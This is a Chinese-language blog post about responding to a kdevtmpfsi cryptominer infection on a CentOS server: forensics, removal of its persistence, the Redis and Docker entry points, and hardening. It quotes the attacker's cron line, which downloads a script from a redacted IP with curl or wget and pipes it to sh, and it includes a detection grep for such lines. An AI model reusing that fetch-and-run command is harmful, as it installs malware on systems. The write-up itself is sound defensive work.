燕家猫2024年1月19日下午，我正忙别的事，监控突然弹出一条告警：一台很久没动的CentOS测试服务器，CPU使用率连续15分钟超过300%。开始我还以为是同事的压测脚本跑错了地方，SSH上去之后，top 输出让我立刻清醒了——一个叫 kdevtmpfsi 的进程占了好几个核，CPU时间累计到几十个小时。这台机器最近没有任何发布记录，也没有我们手工配置的定时任务。我心里基本确定：这是中了挖矿木马。
接下来四个小时，我一直在和这个进程背后的一整套持久化机制斗智斗勇。为什么这里要专门写一篇记录？因为这类问题到现在依然很常见，尤其是 Redis、Docker 这类服务端口暴露过的机器。如果你也遇到服务器 CPU 突然飙高、对外连接异常，或者明明把进程杀了又自动复活，这份排障路径可以直接参考。
1. 现场现象与初步判断：别一看到高 CPU 就动手 kill
很多人遇到服务器 CPU 飙满，第一反应就是 top 看到高占用进程，然后 kill -9。这个操作不是完全没用，但在应急响应里属于最不该先做的事。我这次也差点犯这个错，后来发现先留现场信息，远比先杀进程重要。
1.1 我能理解“想赶紧杀掉”的心情，但先记录现场
kill 本身很容易，难的是搞清楚它为什么会出现在那里。进程一旦被 kill，很多关键信息就散了：父进程是谁、打开过什么文件、连着哪个 IP、启动参数是什么。这些恰恰是判断入侵路径的重要线索。
我上机后先执行了这么几条命令，把输出保存到本地：
bash复制date; hostname; uptime
top -bn1 | head -30
ps -eo pid,ppid,%cpu,%mem,user,etime,cmd --sort=-%cpu | head -20
当时看到的信息大概是这样的：
load average: 12.30, 8.71, 5.22- PID 27431，用户 root，CPU 占用 746%
- 进程名
kdevtmpfsi - 进程路径指向
/tmp/kdevtmpfsi
一个普通测试机不可能有业务进程叫这个名字，更不可能长期占满 CPU。etime 显示这个进程已经运行了一段时间，说明入侵可能发生在前一天，只是这台机器没人关注，所以一直没被发现。
1.2 判断异常进程不能只看名字
现在很多挖矿木马会把进程伪装成 dockerd、containerd、kworker 甚至 systemd，只靠名字认不出问题。我通常从下面几个维度综合判断：
| 判断维度 | 这台机器上的现象 | 正常进程应该有的样子 |
|---|---|---|
| CPU 占用 | 单个进程持续 700%+，且没有对应业务 | 和实际负载匹配，不会长期吃满 |
| 进程路径 | /tmp/kdevtmpfsi，运行后文件已删除 |
一般是 /usr/bin、/usr/sbin 或项目目录 |
| 父进程 | PPID 1，但 systemd 里找不到对应 unit | 有明确的 systemd 服务或业务父进程 |
| 网络连接 | 高频连接境外 IP 的 4444 端口 | 只连已知业务端口、更新源 |
| 启动时间 | 和系统异常时间吻合 | 和业务启动、系统启动时间吻合 |
/tmp 目录本来就不应该放可执行文件，如果发现一个进程从 /tmp 或 /var/tmp 启动，基本可以直接判定为可疑。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 顺着进程反查：kdevtmpfsi 背后还有一条下载链
记录完现场之后，我没有马上 kill，而是顺着 PID 27431 往上游查。这一步花的时间最多，但也最有价值。
2.1 从 /proc 里挖出已删除的样本
Linux 的 /proc/<PID> 目录是实时反映进程状态的地方。我执行了这几条：
bash复制ls -l /proc/27431/exe /proc/27431/cwd
cat /proc/27431/cmdline | tr '\0' ' '
ls -l /proc/27431/fd
输出里最显眼的是这条：
text复制/proc/27431/exe -> /tmp/kdevtmpfsi (deleted)
(deleted) 说明木马运行之后主动删除了自己的二进制文件，减小被发现的风险。但进程还在运行，所以 /proc/PID/exe 仍然能拿到原始文件。
我马上备份了一份样本：
bash复制mkdir -p /root/incident_samples
cp /proc/27431/exe /root/incident_samples/kdevtmpfsi.bin
md5sum /root/incident_samples/kdevtmpfsi.bin
后续可以用 strings 查看里面残留的矿池地址、下载地址，也可以把哈希提交到威胁情报平台做比对。处置结束后，这份样本就是证据。
2.2 网络连接把矿池和下载源串起来了
进程信息只能说明“它是个挖矿程序”，但还要搞清楚它连到哪里。我执行：
bash复制ss -antp | grep 27431
lsof -p 27431 | grep TCP
结果发现它保持着一个到 x.x.x.x:4444 的长连接。4444 不是业务端口，却是挖矿协议里常见的矿池端口。再看这台服务器本身，它既不需要访问外网，也没有任何业务要连境外 IP，这个连接就是实锤。
如果只用 top 看，可能会漏掉这个关键链路。这也是我建议排查时把 ss 和 lsof 顺手看一遍的原因。
2.3 计划任务和下载脚本是怎么串起来的
既然 /tmp/kdevtmpfsi 是被投下来的，那一定有一个“下载器”在负责把它拉起来。我把排查目标转向了计划任务。
在 /var/spool/cron/root 里，我看到了一条每分钟执行的恶意任务：
bash复制*/1 * * * * (curl -fsSL http://x.x.x.x:8080/cron.sh || wget -q -O - http://x.x.x.x:8080/cron.sh) | sh
这段命令的意思是：每分钟从攻击者服务器拉取一个脚本，然后用 sh 执行。脚本会检查挖矿进程是否还在运行，不在就重新拉起来。这其实就是“杀完复活”的核心原因之一。
只看 crontab -l 是不够的，因为 root 的 crontab 在 /var/spool/cron/root，还有一些系统级任务在 /etc/crontab、/etc/cron.d/ 下面。我用了更全的搜索：
bash复制grep -rInE "curl|wget|kdevtmpfsi|kinsing|\.sh" /var/spool/cron/ /etc/cron* 2>/dev/null
3. 为什么 kill 完又复活：三处持久化藏得比想象中深
说实话，我第一次看到这种病毒时也天真过：把进程杀了，把 /tmp/kdevtmpfsi 删了，以为就结束了。结果不到一分钟，新进程又起来了。这次我没有重复踩这个坑。
3.1 第一次清理失败到底败在哪
我特意先做了一个小实验验证思路：只杀进程，不动任何持久化配置。
bash复制kill -9 27431
过了一分钟左右，ps 里果然又出现了一个新的 kdevtmpfsi 进程，PID 已经变了。这说明它不是靠多个进程互相拉起的，而是有一个定时机制在管它。
如果当时只删文件，效果也一样。因为下载脚本还留在 cron 里，每分钟都在尝试重新下载。
3.2 真正需要清理的持久化点
这轮排查之后，我梳理出的持久化点不止 cron 一个：
| 位置 | 作用 | 处置方式 |
|---|---|---|
/var/spool/cron/root |
每分钟下载执行脚本 | 删除恶意行 |
/etc/systemd/system/kdevtmpfsi.service |
开机自启挖矿程序 | 停服务、删 unit、daemon-reload |
/etc/rc.local |
开机执行下载脚本 | 删除恶意行 |
/root/.ssh/authorized_keys |
攻击者写入的公钥后门 | 删除陌生公钥 |
/tmp/kdevtmpfsi、/tmp/kinsing |
挖矿主程序和植入器 | 备份后删除 |
这次运气好，没有在 /etc/ld.so.preload 里发现异常库。如果那个文件被改了，说明已经到 rootkit 级别，普通清理很难保证干净，我会倾向于直接重装系统。
3.3 清理顺序不能乱
我最终执行的清理顺序是：先断外联和拉黑下载源，再清理 cron、systemd、rc.local，最后杀进程和删文件。如果反过来，一上来就 kill，木马马上会被拉起来；如果只清 cron 不断网，攻击者也可能通过其他后门继续进来。
另外提醒一句，清 cron 之前记得先备份。有些变种会给文件加 chattr +i，也就是 immutable 属性，直接删会提示 Operation not permitted。处理方式是先去掉属性再删：
bash复制lsattr /tmp/kdevtmpfsi /var/spool/cron/root
chattr -i /tmp/kdevtmpfsi
chattr -i /var/spool/cron/root
4. 入口复盘：这台服务器是怎么被攻进来的
把病毒清掉只是第一步，如果不知道入口，明天可能还会中招。所以清理到一半，我开始查这台机器到底是怎么被进来的。
4.1 从登录日志和开放端口找线索
我先看了 SSH 登录记录：
bash复制grep "Accepted" /var/log/secure | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c | sort -rn | head -20
lastb | head -20
结果里有大量来自陌生 IP 的 SSH 爆破记录，但这些都没有成功登录。真正可疑的是监听端口。用 ss -lntp 一看，心里就有数了：
text复制22 SSH
6379 Redis
2375 Docker Remote API
Redis 监听在 0.0.0.0:6379，没有密码保护，而且是用 root 启动的。Docker Remote API 也暴露在公网，没有做 TLS 校验。这两个服务都属于“拿到权限就相当于拿到服务器”的典型目标。
4.2 Redis 未授权为什么会变成入口
攻击者一旦能连上未授权的 Redis，可以利用它的写文件功能，把恶意内容写到服务器的计划任务目录或 SSH 公钥文件里，从而获得执行权限。整个过程是全自动的，扫描器会不断扫全网开放的 6379 端口，遇到没密码的 Redis 就直接尝试写入。
很多人觉得 Redis 只是缓存，丢了数据无所谓，所以不设密码。但这里真正的风险不是缓存数据，而是服务器权限。Redis 如果以 root 运行，一旦被写入计划任务，攻击者就拿到了 root 权限。
处理方式也不复杂：
text复制bind 127.0.0.1
requirepass 使用高强度随机密码
rename-command CONFIG ""
如果业务确实需要远程连接 Redis，建议走内网地址，并且在安全组或防火墙层面加上来源 IP 白名单，不要直接暴露公网。
4.3 容器和中间件暴露同样危险
和 Redis 类似的服务还有很多，它们一旦暴露公网，风险比 SSH 弱口令更直接：
text复制Docker Remote API 2375
Kubernetes 10250
Hadoop YARN 8088
MongoDB 27017
Elasticsearch 9200
这类服务的共同特点是：本身可能没有认证，或者认证容易被绕过，而且多数以高权限运行。我的建议是统一做最小暴露，再加上来源 IP 白名单。
5. 清障与加固：做完这些我才敢把它重新上线
清理不是目的，能让机器安全地继续跑才是目的。所以我给自己定了一条原则：清理完成不等于处置完成，加固完成才算。
5.1 这次实际执行的清理命令
下面是我这次实际用到的清理过程，已经做了脱敏处理：
bash复制# 1. 先拉黑下载源和矿池 IP，避免反复被拉起来
iptables -I OUTPUT -d x.x.x.x -j DROP
# 2. 停掉并删除恶意 systemd unit
systemctl disable --now kdevtmpfsi.service
rm -f /etc/systemd/system/kdevtmpfsi.service
systemctl daemon-reload
# 3. 清掉 root 计划任务里的恶意行
crontab -l | grep -v "kdevtmpfsi\|cron.sh" | crontab -
sed -i '/kdevtmpfsi\|cron.sh/d' /var/spool/cron/root
# 4. 清理 rc.local 和 SSH 后门公钥
# 逐行检查 /etc/rc.local，删除含 kdevtmpfsi / cron.sh 的行
# 逐个检查 /root/.ssh/authorized_keys，删除不认识的内容
# 5. 备份并删除恶意二进制
cp /proc/27431/exe /root/incident_samples/kdevtmpfsi.bin
pkill -9 -f kdevtmpfsi
rm -f /tmp/kdevtmpfsi /tmp/kinsing /tmp/cron.sh
这里特别提醒：sed 和 crontab 命令要结合实际情况改，不要原样复制到生产机器上无脑执行。尤其 rc.local 里可能还有其他合法启动项，逐行确认比一条正则更安全。
5.2 服务端加固：Redis、Docker、SSH
清理完恶意文件之后，我重点重做了以下配置：
Redis 方面：
bash复制# /etc/redis.conf
bind 127.0.0.1
requirepass your-strong-password
rename-command CONFIG ""
Docker 方面，我检查了 /etc/docker/daemon.json，确保没有把 2375 端口监听在公网。如果确实需要远程 API，建议用 TLS 客户端证书认证，并限制来源 IP：
bash复制"hosts": ["unix:///var/run/docker.sock", "tcp://127.0.0.1:2375"]
SSH 方面，直接关闭密码登录，只保留密钥：
bash复制# /etc/ssh/sshd_config
PermitRootLogin prohibit-password
PasswordAuthentication no
PubkeyAuthentication yes
改完 SSH 配置之后，先执行 sshd -t 检查语法，再重启 sshd。还有一条经验：改配置前先开一个新的 SSH 会话确认能登录，再关掉旧会话，避免把自己锁在外面。
5.3 安全监控与自动告警
光靠人上去查永远是被动的。这次事件之后，我把监控告警补上了几条：
- CPU 使用率持续超过阈值的告警
- 新增
/tmp下的可执行文件告警 - cron 文件和 systemd unit 文件变更告警
- 出方向连接到非业务端口告警
挖矿木马部署速度很快，从扫描到写入计划任务可能只需要几分钟。如果没有自动化告警，发现的时候可能已经跑了好几天。
6. 清完之后的验证与最终决定
清完不代表结束，还要验证清理是否彻底。我这次用了一个最直接的办法：重启服务器。
6.1 重启后需要重点检查的内容
机器重启后，我重新检查了这些地方：
bash复制uptime
systemctl list-unit-files | grep -Ei 'kdev|kins'
crontab -l
cat /etc/rc.local
ss -antp | grep -E '4444|3333'
ps -eo pid,%cpu,cmd --sort=-%cpu | head -10
重启的意义在于：如果还有残留的 systemd unit 或 rc.local 后门，开机会立刻暴露。那些通过 kill 杀不干净、但重启会失效的进程，在这一步也会现形。观察 24 小时，确认 CPU 曲线平了、没有外连矿池的请求，才重新接入业务流量。
再补充一个细节：如果怀疑系统层面已经被 rootkit 污染，ps、ss、ls 这些命令本身的输出都不可信。这时候可以挂载一个干净的应急工具盘去查，或者干脆别和它赌，直接重装系统。
6.2 我的最终决定：不跟 rootkit 赌运气
这次处理的是一台测试机，虽然恶意文件和持久化点都清掉了，但攻击者已经拿过 root 权限。root 权限一旦失守，系统里哪些日志被动过、哪些二进制被替换过，普通状态下很难完全确认。
所以我把需要的数据备份出来之后，直接重装了系统，并把 Redis、Docker、SSH 的配置全部重做。很多人舍不得重装，觉得清干净就行。但说实话，在 root 失守的情况下，重装是成本最低、最让人放心的方案。
最后再分享一个习惯：每次处置完挖矿事件，我都会把样本的 MD5、恶意进程名、持久化位置、处置时间整理成一条简短记录。下次再遇到类似病毒，先比对哈希，能省去大量重复排查时间。这次记录，也算给 2024 年第一次应急响应留个档。